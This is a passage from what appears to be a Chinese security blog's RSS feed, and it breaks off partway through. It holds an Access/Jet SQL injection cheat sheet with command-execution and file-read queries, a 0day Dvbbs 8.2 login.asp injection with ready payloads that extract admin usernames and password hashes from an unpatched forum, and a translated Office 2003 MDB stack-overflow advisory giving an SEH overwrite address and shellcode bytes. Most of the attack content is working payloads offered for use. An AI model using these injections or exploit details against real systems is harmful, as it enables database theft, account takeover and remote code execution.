/ad&quot;)&#039;);--<br/>这样,我们就执行了命令了.而且继承的是MSSQL的LocalService的System权限.<br/><br/>--------------------------------------------------------------------------------------------------------------------------------------------------------<br/><br/>用户表<br/>SELECT&amp;nbspName&amp;nbspFROM&amp;nbspmsysobjects&amp;nbspWHERE&amp;nbspType =&amp;nbsp1&amp;nbspand&amp;nbspflags=0<br/>所有表<br/>SELECT&amp;nbspName&amp;nbspFROM&amp;nbspmsysobjects&amp;nbspWHERE&amp;nbspType =&amp;nbsp1 <br/><br/>判断版本：<br/>SELECT&amp;nbspNULL&amp;nbspFROM&amp;nbspMSysModules2&nbsp;&nbsp;&#039;97<br/>SELECT&amp;nbspNULL&amp;nbspFROM&amp;nbspMSysAccessObjects &#039;97&amp;nbsp2000<br/>SELECT&amp;nbspNULL&amp;nbspFROM&amp;nbspMSysAccessXML &#039;2000&amp;nbsp2002-2003<br/>SELECT&amp;nbspNULL&amp;nbspFROM&amp;nbspMSysAccessStorage &#039;2002-2003&amp;nbsp2007<br/><br/>SandBoxMode:<br/>SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在<br/>HKEY_LOCAL_MACHINE&#92;SoftWare&#92;Microsoft&#92;Jet&#92;4.0&#92;Engine&#92;SandBoxMode里,默认是2.<br/>微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,<br/>2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.<br/><br/>执行命令：<br/>Select&amp;nbspShell(&quot;cmd.exe /c&amp;nbspdir&amp;nbspc:&#92; &gt;&amp;nbspc:&#92;kevin.txt&quot;)<br/><br/>读文件<br/>SELECT * &amp;nbspFROM [TEXT;DATABASE=c:&#92;;HDR=NO;FMT=Delimited].[kevin.txt]<br/><br/>写文件：【不能在子查询和UNION查询中，实用价值不大】<br/>SELECT &quot;text&amp;nbspto&amp;nbspwrite&quot; &amp;nbspinto [TEXT;DATABASE=c:&#92;;HDR=NO;FMT=Delimited].[kevin1.txt]<br/><br/>当前路径：sandboxing&amp;nbspenable<br/>select&amp;nbspcurdir()&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspdir(&#039;c:&#92; &#039;)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspenviron(1)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspfiledatetime(&#039;c:&#92;boot.ini&#039;)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspfilelen(&#039;c:&#92;boot.ini&#039;)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspgetattr(&#039;c:&#92; &#039;)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/>select&amp;nbspshell(&#039;cmd.exe /c&amp;nbspdir&amp;nbspc:&#92; &gt;&amp;nbspc:&#92;kevin.txt&#039;)&amp;nbspfrom&amp;nbspmsysaccessobjects<br/><br/>跨文件查询：<br/>SELECT * &amp;nbspFROM&amp;nbspdv_address&amp;nbspIN &#039;D:&#92;dailian&#92;bbs&#92;Dvbbs8.2.0_Ac&#92;Data&#92;IPaddress.mdb&#039;<br/><br/>连接MSSQL:<br/>SELECT *&amp;nbspFROM [ODBC;DRIVER=SQL&amp;nbspSERVER;Server=(local);UID=sa;PWD=2853wang;&amp;nbspDATABASE=master].Information_Schema.Tables<br/><br/>参考资料：<br/><a href="http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf" target="_blank">http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf</a>
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/511/</link>
<title><![CDATA[Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Sat, 31 May 2008 11:32:46 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/511/</guid> 
<description>
<![CDATA[ 
	[0day]Dvbbs8.2 access/sql 版login.asp远程sql注入漏洞<br/>漏洞描述：<br/>中国应用最广泛的论坛程序，最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp<br/>Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号，导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。<br/>漏洞等级：<br/>高危<br/>漏洞分析：<br/><br/>password=123123&amp;codestr=71&amp;CookieDate=2&amp;userhidden=2&amp;comeurl=index.asp&amp;submit=%u7ACB%u5373%u767B%u5F55&amp;ajaxPost=1&amp;username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271<br/>Login.asp 代码片段<br/>复制内容到剪贴板<br/>代码:<br/>Rem ==========论坛登录函数=========<br/>Rem 判断用户登录<br/>Function ChkUserLogin(username,password,mobile,usercookies,ctype)<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim rsUser,article,userclass,titlepic<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim userhidden,lastip,UserLastLogin<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim GroupID,ClassSql,FoundGrade<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim regname,iMyUserInfo<br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim sql,sqlstr,OLDuserhidden<br/>&nbsp;&nbsp;&nbsp;&nbsp;FoundGrade=False<br/>&nbsp;&nbsp;&nbsp;&nbsp;lastip=Dvbbs.UserTrueIP<br/>&nbsp;&nbsp;&nbsp;&nbsp;userhidden=request.form(&quot;userhidden&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;If userhidden &lt;&gt; &quot;1&quot; Then userhidden=2<br/>&nbsp;&nbsp;&nbsp;&nbsp;ChkUserLogin=false<br/>&nbsp;&nbsp;&nbsp;&nbsp;If mobile&lt;&gt;&quot;&quot; Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlstr=&quot; Passport=&#039;&quot;&amp;mobile&amp;&quot;&#039;&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sqlstr=&quot; UserName=&#039;&quot;&amp;username&amp;&quot;&#039;&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sql=&quot;Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;Sql=Sql &amp; &quot; From [Dv_User] Where &quot;&amp;sqlstr&amp;&quot;&quot;<br/>&nbsp;&nbsp;&nbsp;&nbsp;set rsUser=Dvbbs.Execute(sql)<br/>&nbsp;&nbsp;&nbsp;&nbsp;If rsUser.eof and rsUser.bof Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#039;strString(&quot;本论坛不存在该用户名.@@@@0&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChkUserLogin=False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit Function<br/>&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If rsUser(&quot;Lockuser&quot;) =1 Or rsUser(&quot;UserGroupID&quot;) =5 Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ChkUserLogin=False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit Function<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Trim(password)=Trim(rsUser(&quot;UserPassword&quot;)) Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ChkUserLogin=True<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dvbbs.UserID=RsUser(&quot;UserID&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegName = RsUser(&quot;UserName&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Article= RsUser(&quot;UserPost&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserLastLogin = RsUser(&quot;cometime&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UserClass = RsUser(&quot;Userclass&quot;)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GroupID = RsUser(&quot;userGroupID&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;OLDuserhidden=RsUser(&quot;UserHidden&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TitlePic = RsUser(&quot;UserTitle&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If Article &lt; 0Then Article=0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,&quot;userinfo&quot;,&quot;xml&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dvbbs.UserSession.documentElement.selectSingleNode(&quot;userinfo/@cometime&quot;).text=Now()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dvbbs.UserSession.documentElement.selectSingleNode(&quot;userinfo/@activetime&quot;).text=DateAdd(&quot;s&quot;,-3600,Now())<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dvbbs.UserSession.documentElement.selectSingleNode(&quot;userinfo/@boardid&quot;).text=0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dvbbs.UserSession.documentElement.selectSingleNode(&quot;userinfo&quot;).attributes.setNamedItem(Dvbbs.UserSession.createNode(2,&quot;isuserpermissionall&quot;,&quot;&quot;)).text=Dvbbs.FoundUserPermission_All()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If OLDuserhidden &lt;&gt; CLng(userhidden) Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dvbbs.UserSession.documentElement.selectSingleNode(&quot;userinfo/@userhidden&quot;).text=userhidden<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dvbbs.Execute(&quot;update Dv_user set userhidden=&quot;&amp;userhidden&amp;&quot; where UserId=&quot; &amp; Dvbbs.UserID)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim BS<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set Bs=Dvbbs.GetBrowser()<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If EnabledSession Then Session(Dvbbs.CacheName &amp; &quot;UserID&quot;)=Dvbbs.UserSession.xml<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If ajaxPro Then<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strString(&quot;用户名或者密码不正确.@@@@0&quot;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ChkUserLogin=False<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exit Function<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If<br/>&nbsp;&nbsp;&nbsp;&nbsp;End If<br/>漏洞利用：(access版)<br/>由于使用验证码，该漏洞只能纯手工进行注入尝试，在用户登陆页面，用户名处构造sql语句<br/>如：<br/>判断<br/>复制内容到剪贴板<br/>代码:<br/>Where’ and ‘1’=’1<br/>where’ and ‘1’=’2<br/>密码任意6位，输入验证码<br/>根据返回信息，第一条显示用户名或密码错误第二条显示无此用户<br/>猜解用户<br/>复制内容到剪贴板<br/>代码:<br/>where&#039; and 1=(select count(*) from dv_admin where left(username,1)=&#039;a&#039;) and &#039;1&#039;=&#039;1<br/>where&#039; and 1=(select count(*) from dv_admin where left(username,2)=&#039;ad&#039;) and &#039;1&#039;=&#039;1<br/>……………………….<br/>……………………<br/>…………………….<br/>猜解密码(md5加密)<br/>复制内容到剪贴板<br/>代码:<br/>where&#039; and 1=(select count(*) from dv_admin where left(password,1)=&#039;1&#039;) and &#039;1&#039;=&#039;1<br/>where&#039; and 1=(select count(*) from dv_admin where left(password,2)=&#039;15&#039;) and &#039;1&#039;=&#039;1<br/>……………………<br/>……………………<br/>…………………..<br/>简单测试官方sql版也存在漏洞，利用过程不写了<br/><br/><br/><br/><br/><br/><br/>相关信息：<br/>Dvbbs官方 http://www.dvbbs.net<br/>漏洞分析及测试<br/>由where首发<br/>联系mail: hacker@126.com<br/>补丁：<br/>目前官方没有任何补丁，请等待升级补丁
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/334/</link>
<title><![CDATA[微软OFF2003－mdb的文件解析栈溢出漏洞 ]]></title> 
<author>樱花浪子 &lt;&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Mon, 19 Nov 2007 00:51:39 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/334/</guid> 
<description>
<![CDATA[ 
	樱花浪子PS：用工具翻译了一下，可能不太准<br/>原文：<br/>Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability<br/><br/>by cocoruder(frankruder_at_hotmail.com)<br/><a href="http://ruder.cdut.net" target="_blank">http://ruder.cdut.net</a><br/><br/>Summary:<br/><br/>A remote code execute vulnerability exists in Microsoft Jet<br/>Engine. A remote attacker who successfully exploit this vulnerability<br/>can execute arbitrary code on the affected system.<br/><br/>Affected Software Versions:<br/><br/>Microsoft Office Access 2003 sp3 on Windows XP SP2(chinese)<br/>(Other versions may also be affected)<br/><br/>Details:<br/><br/>When Microsoft Office Access parsing a MDB file, it will call the<br/>Jet Engine (msjet40.dll) to parse it. See the attched file<br/>"Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.mdb", it will cause a<br/>stack overflow vulnerability finally in the following codes:<br/><br/>(C:&#92;Windows&#92;System32&#92;msjet40.dll, version is 4.0.8618.0)<br/><br/>.text:1B0B72BB mov ecx, edx ; ecx=0x5200<br/>.text:1B0B72BD mov esi, edi ; esi point<br/>to the datas<br/>.text:1B0B72BF mov ebp, ecx ; which<br/>can be find in the mdb file<br/>.text:1B0B72C1 lea edi, [esp+40h] ; edi point<br/>to stack memory<br/>.text:1B0B72C5 shr ecx, 2<br/>.text:1B0B72C8 rep movsd ; stack overflow!!<br/>.text:1B0B72CA mov ecx, ebp<br/>.text:1B0B72CC mov eax, [eax+1]<br/>.text:1B0B72CF and ecx, 3<br/>.text:1B0B72D2 rep movsb<br/><br/>Debug Informations as follows£º<br/><br/>eax=05f5cb67 ebx=05e66458 ecx=00005200 edx=00005200 esi=05f5cd12<br/>edi=0013db60<br/>eip=1b0b72c5 esp=0013db20 ebp=00005200 iopl=0 nv up ei pl<br/>nz ac pe nc<br/>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000<br/>efl=00000216<br/>msjet40!Ordinal55+0x23cd8:<br/>1b0b72c5 c1e902 shr ecx,2<br/>0:000> u eip<br/>msjet40!Ordinal55+0x23cd8:<br/>1b0b72c5 c1e902 shr ecx,2<br/>1b0b72c8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]<br/>1b0b72ca 8bcd mov ecx,ebp<br/>1b0b72cc 8b4001 mov eax,dword ptr [eax+1]<br/>1b0b72cf 83e103 and ecx,3<br/>1b0b72d2 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]<br/>1b0b72d4 8bb424d4000000 mov esi,dword ptr [esp+0D4h]<br/>1b0b72db 8b4b28 mov ecx,dword ptr [ebx+28h]<br/>0:000> db esi<br/>05f5cd12 00 4f 00 53 00 7e 00 31-00 5c 00 56 00 42 00 41 .O.S.~.1.&#92;.V.B.A<br/>05f5cd22 00 5c 00 56 00 42 00 41-00 36 00 5c 00 56 00 42 .&#92;.V.B.A.6.&#92;.V.B<br/>05f5cd32 00 45 00 36 00 2e 00 44-00 4c 00 4c 00 23 00 56 .E.6...D.L.L.#.V<br/>05f5cd42 00 69 00 73 00 75 00 61-00 6c 00 20 00 42 00 61 .i.s.u.a.l. .B.a<br/>05f5cd52 00 73 00 69 00 63 00 20-00 46 00 6f 00 72 00 20 .s.i.c. .F.o.r.<br/>05f5cd62 00 41 00 70 00 70 00 6c-00 69 00 63 00 61 00 74 .A.p.p.l.i.c.a.t<br/>05f5cd72 00 69 00 6f 00 6e 00 73-00 00 00 00 00 00 00 00 .i.o.n.s........<br/>05f5cd82 00 00 00 00 00 12 01 2a-00 5c 00 47 00 7b 00 34 .......*.&#92;.G.&#123;.4<br/>0:000> db edi<br/>0013db60 09 00 00 00 01 00 00 00-18 00 00 00 9a 51 00 1b .............Q..<br/>0013db70 86 ce 00 1b 00 c0 f5 05-02 00 00 00 e8 dc 13 00 ................<br/>0013db80 22 7c 00 1b 0c 11 f4 05-e8 dc 13 00 c0 10 f4 05 "&#124;..............<br/>0013db90 3c cd 00 1b c0 10 f4 05-00 c0 f5 05 9c 78 e6 05 <............x..<br/>0013dba0 e8 dc 13 00 05 10 92 7c-38 78 e6 05 eb cb 00 1b .......&#124;8x......<br/>0013dbb0 80 9f a4 05 b0 98 a4 05-01 00 00 00 f2 cb 00 1b ................<br/>0013dbc0 9c 78 e6 05 e8 dc 13 00-4c dc 13 00 4c dc 13 00 .x......L...L...<br/>0013dbd0 01 00 00 00 60 f3 00 1b-80 9f a4 05 02 00 00 00 ....`...........<br/><br/>The length of 0x5200 is enough to make us to write datas to the<br/>address where the SEH handle pointer is, so that we can rewrite the<br/>SEH handle. I use following address to jump to shellcode:<br/><br/>1B0D4C42 FF55 0C call dword ptr [ebp+C]<br/><br/>This address is also in msjet40.dll, so it can bypass the security<br/>feature of SEH in Windows XP SP2, and [ebp+0Ch] happens to point to<br/>the source data.<br/><br/>Debug Informations:<br/><br/>eax=00000000 ebx=00000000 ecx=1b0d4c42 edx=7c9237d8 esi=00000000<br/>edi=00000000<br/>eip=1b0d4c42 esp=0013d750 ebp=0013d770 iopl=0 nv up ei pl<br/>zr na pe nc<br/>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000<br/>efl=00000246<br/>msjet40!Ordinal310+0x17e:<br/>1b0d4c42 ff550c call dword ptr [ebp+0Ch]<br/>ss:0023:0013d77c=0013e184<br/>0:000> dd ebp<br/>0013d770 0013d820 7c92378b 0013d838 0013e184<br/>0013d780 0013d854 0013d80c 1b0d4c42 00140000<br/>0013d790 0013d838 0013e184 7c957860 0013d838<br/>0013d7a0 0013e184 0013d854 0013d80c 1b0d4c42<br/>0013d7b0 00140000 0013d838 05f5f1b2 00000000<br/>0013d7c0 00000000 05e66458 01000000 0013d774<br/>0013d7d0 01c8281c 0013da04 7c92ee18 7c98d8a8<br/>0013d7e0 ffffffff 7c98d886 7c969d18 04ba0000<br/>0:000> db 0013e184<br/>0013e184 75 06 74 04 42 4c 0d 1b-fc e8 44 00 00 00 8b 45 u.t.BL....D....E<br/>0013e194 3c 8b 7c 05 78 01 ef 8b-4f 18 8b 5f 20 01 eb 49 <.&#124;.x...O.._ ..I<br/>0013e1a4 8b 34 8b 01 ee 31 c0 99-ac 84 c0 74 07 c1 ca 0d .4...1.....t....<br/>0013e1b4 01 c2 eb f4 3b 54 24 04-75 e5 8b 5f 24 01 eb 66 ....;T$.u.._$..f<br/>0013e1c4 8b 0c 4b 8b 5f 1c 01 eb-8b 1c 8b 01 eb 89 5c 24 ..K._.........&#92;$<br/>0013e1d4 04 c3 31 c0 64 8b 40 30-85 c0 78 0c 8b 40 0c 8b ..1.d. (at) 0..x (dot) . [email concealed]@..<br/>0013e1e4 70 1c ad 8b 68 08 eb 09-8b 80 b0 00 00 00 8b 68 p...h..........h<br/>0013e1f4 3c 5f 31 f6 60 56 89 f8-83 c0 7b 50 68 7e d8 e2 <_1.`V....&#123;Ph~..<br/><br/>Content at [ebp+0c]£º<br/><br/>&#124;75 06&#124; + &#124;74 04&#124; + &#124;42 4C 0D 1B&#124; + &#124;FC E8 44 00 ...<br/><br/>&#123;JNZ 6&#125; + &#123;JZ 4&#125; + 1B0D4C42h + shellcode<br/><br/>Related content in the attached file<br/>"Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.mdb" is from the offset<br/>0x3336 of beginning of the file.<br/><br/>Notice that because the vulnerability is in the Jet Engine, some<br/>web space providers may also be affected, the attacker can upload the<br/>.asp and .mdb file, and exploit it via the Server Object<br/>"ADODB.Connection".<br/><br/>How to Reproduce:<br/><br/>Open the attached file<br/>"Microsoft_Jet_Engine_MDB_File_Parsing_Exploit.mdb" with Office Access<br/>2003 sp3 on Windows XP SP2, then "calc.exe" will be executed, please<br/>do not use the exploit for attacking.<br/><br/>The attached file is at:<br/><br/><a href="http://ruder.cdut.net/attach/MS_MDB_Vul/Microsoft_Jet_Engine_MDB_File_Pa" target="_blank">http://ruder.cdut.net/attach/MS_MDB_Vul/Microsoft_Jet_Engine_MDB_File_Pa</a><br/>rsing_Exploit.rar<br/><br/>MD5 Hash:73243B8823C8DC2C88AE0529CA13C4C6<br/><br/>Vendor Response:<br/><br/>Microsoft replied me that they would not fix this vulnerability,<br/>it looks like they will not acknowledge vulnerabilities which are from<br/>.mdb file.<br/><br/>"You appear to be reporting an issue with a file type Microsoft<br/>considers to be unsafe. Many programs, such as Internet Explorer and<br/>Outlook, automatically block these files. For more information, please<br/>visit <a href="http://support.microsoft.com/kb/925330" target="_blank">http://support.microsoft.com/kb/925330</a>"<br/><br/>Disclosure Timeline:<br/><br/>2007.11.06 Vendor notified via email<br/>2007.11.07 Vendor responded<br/>2007.11.16 Advisory released<br/><br/>--EOF--<br/><br/><br/>由cocoruder （ frankruder_at_hotmail.com ）<br/><a href="http://ruder.cdut.net" target="_blank">http://ruder.cdut.net</a><br/><br/>摘要：<br/><br/>一个远程代码执行漏洞，远程攻击者成功利用此漏洞<br/>可以执行任意代码对受影响的系统。<br/><br/>受影响的软件版本：<br/><br/>微软office进入2003年sp3的windows xp sp2上（中文）<br/>（其他版本也可能会受到影响） <br/><br/><br/>详细资料：<br/><br/>当微软office准入解析1 mdb的文件，它会倒致<br/>（ msjet40.dll ）来解析它。 看到attched档案<br/> " microsoft_jet_engine_mdb_file_parsing_exploit.mdb " ，它会造成<br/>栈溢出漏洞，在以下代码： <br/><br/>(C:&#92;Windows&#92;System32&#92;msjet40.dll, version is 4.0.8618.0)<br/><br/>text:1B0B72BB mov ecx, edx ; ecx=0x5200<br/>.text:1B0B72BD mov esi, edi ; esi point<br/>to the datas<br/>.text:1B0B72BF mov ebp, ecx ; which<br/>can be find in the mdb file<br/>.text:1B0B72C1 lea edi, [esp+40h] ; edi point<br/>to stack memory<br/>.text:1B0B72C5 shr ecx, 2<br/>.text:1B0B72C8 rep movsd ; stack overflow!!<br/>.text:1B0B72CA mov ecx, ebp<br/>.text:1B0B72CC mov eax, [eax+1]<br/>.text:1B0B72CF and ecx, 3<br/>.text:1B0B72D2 rep movsb<br/><br/>调试信息如下：<br/><br/>eax=05f5cb67 ebx=05e66458 ecx=00005200 edx=00005200 esi=05f5cd12<br/>edi=0013db60<br/>eip=1b0b72c5 esp=0013db20 ebp=00005200 iopl=0 nv up ei pl<br/>nz ac pe nc<br/>cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000<br/>efl=00000216<br/>msjet40!Ordinal55+0x23cd8:<br/>1b0b72c5 c1e902 shr ecx,2<br/>0:000> u eip<br/>msjet40!Ordinal55+0x23cd8:<br/>1b0b72c5 c1e902 shr ecx,2<br/>1b0b72c8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]<br/>1b0b72ca 8bcd mov ecx,ebp<br/>1b0b72cc 8b4001 mov eax,dword ptr [eax+1]<br/>1b0b72cf 83e103 and ecx,3<br/>1b0b72d2 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]<br/>1b0b72d4 8bb424d4000000 mov esi,dword ptr [esp+0D4h]<br/>1b0b72db 8b4b28 mov ecx,dword ptr [ebx+28h]<br/>0:000> db esi<br/>05f5cd12 00 4f 00 53 00 7e 00 31-00 5c 00 56 00 42 00 41 .O.S.~.1.&#92;.V.B.A<br/>05f5cd22 00 5c 00 56 00 42 00 41-00 36 00 5c 00 56 00 42 .&#92;.V.B.A.6.&#92;.V.B<br/>05f5cd32 00 45 00 36 00 2e 00 44-00 4c 00 4c 00 23 00 56 .E.6...D.L.L.#.V<br/>05f5cd42 00 69 00 73 00 75 00 61-00 6c 00 20 00 42 00 61 .i.s.u.a.l. .B.a<br/>05f5cd52 00 73 00 69 00 63 00 20-00 46 00 6f 00 72 00 20 .s.i.c. .F.o.r.<br/>05f5cd62 00 41 00 70 00 70 00 6c-00 69 00 63 00 61 00 74 .A.p.p.l.i.c.a.t<br/>05f5cd72 00 69 00 6f 00 6e 00 73-00 00 00 00 00 00 00 00 .i.o.n.s........<br/>05f5cd82 00 00 00 00 00 12 01 2a-00 5c 00 47 00 7b 00 34 .......*.&#92;.G.&#123;.4<br/>0:000> db edi<br/>0013db60 09 00 00 00 01 00 00 00-18 00 00 00 9a 51 00 1b .............Q..<br/>0013db70 86 ce 00 1b 00 c0 f5 05-02 00 00 00 e8 dc 13 00 ................<br/>0013db80 22 7c 00 1b 0c 11 f4 05-e8 dc 13 00 c0 10 f4 05 "&#124;..............<br/>0013db90 3c cd 00 1b c0 10 